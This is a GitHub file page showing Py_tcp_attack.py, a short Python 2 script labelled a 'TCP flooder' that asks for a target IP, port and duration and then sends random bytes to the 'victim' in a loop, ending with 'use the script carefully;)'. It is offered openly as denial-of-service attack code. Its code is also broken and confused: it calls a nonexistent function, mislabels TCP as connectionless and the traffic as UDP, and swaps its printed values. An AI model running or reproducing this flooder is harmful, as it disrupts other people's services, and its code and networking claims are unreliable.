-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathPy_tcp_attack.py
More file actions
42 lines (24 loc) · 980 Bytes
/
Py_tcp_attack.py
File metadata and controls
42 lines (24 loc) · 980 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// python code to attack the target host with tcp socket connections
# TCP_FLOODER @!!
import sys
import socket
import time
import random
# initialising the socket connection of attackers machine
attacker = socket.socket(socket.AF_INET , socket.SOCK_STREAM) # selecting connectionless TCP type connectionless
bytes = random.__urandom(9999) # data storing in bytes
victim = raw_input("Enter the target ip")
port = input("Enter port number")
duration = input("Time in seconds")
timeout = time.time() + duration
packsent = 0 # initialised the variable representing the udp packets sent to the target ip
while 1:
if time.time() > timeout: # if time limit exceeds the input time given by the user then loop must be breaked
break
else:
pass
attacker.sendto(bytes,(victim,port))
packsent = packsent + 1
print "Attacking %s sent packets %s to the port %s "%(packsent,victim,port)
# program ends
# use the script carefully;)